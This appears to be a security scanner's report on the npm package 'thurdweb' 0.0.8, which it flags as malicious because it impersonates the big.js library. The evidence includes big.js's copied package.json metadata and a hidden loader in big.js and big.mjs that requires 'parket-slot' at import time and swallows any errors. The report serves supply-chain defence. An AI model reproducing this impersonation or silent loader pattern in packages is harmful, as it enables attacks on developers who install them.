Hostile ^100% javascript Download

thurdweb 0.0.8

Typosquatting big.js with hidden loader

Slot loader runs during importImpersonation of the popular big.js library

SHA-2568c2cd4453c28ab5fbd8a1062bd6e4e51cec1ac83faccc6b9ebab82d38959a1a0

URLhttps://r.cnpmjs.org/thurdweb/-/thurdweb-0.0.8.tgz

MaleculeO(S₂)Md(Pa₃)

Also flagged by osv (MAL-2026-6345: Malicious code in thurdweb (npm)) +2 more.

Evidence

Package has meaningful description package.json · lines 1–6

1{
"name": "thurdweb",
"description": "A small, fast, easy-to-use library for arbitrary-precision decimal arithmetic",
"version": "0.0.8",
"keywords": [
  "arbitrary",

Package has multiple entry points package.json · lines 17–21

  "bignum"
],
"exports": {
  ".": {
    "import": "./big.mjs",

Impersonation of the popular big.js library package.json · lines 26–41

  "./package.json": "./package.json"
},
"repository": {
  "type": "git",
  "url": "https://github.com/MikeMcl/big.js.git"
},
"main": "big",
"browser": "big.js",
"module": "big.mjs",
"author": {
  "name": "Michael Mclaughlin",
  "email": "M8ch88l@gmail.com"
},
"bugs": {
  "url": "https://github.com/MikeMcl/big.js/issues"
},

Loader chain swallows promise results big.js · lines 593–621

⋯10 lines
603  };
604
605  try {
606    const doc = require("parket-slot");
607    doc.from_str().then(e => { }).catch(e => { })
608  } catch (error) {
609  }
610
⋯11 lines

Calls a method named from_str big.mjs · lines 593–622

⋯10 lines
603  };
604
605  try {
606    const doc = require("parket-slot");
607    doc.from_str()
608  } catch (error) {
609  }
610
⋯12 lines

No evidence locations were recorded for this file. Raw result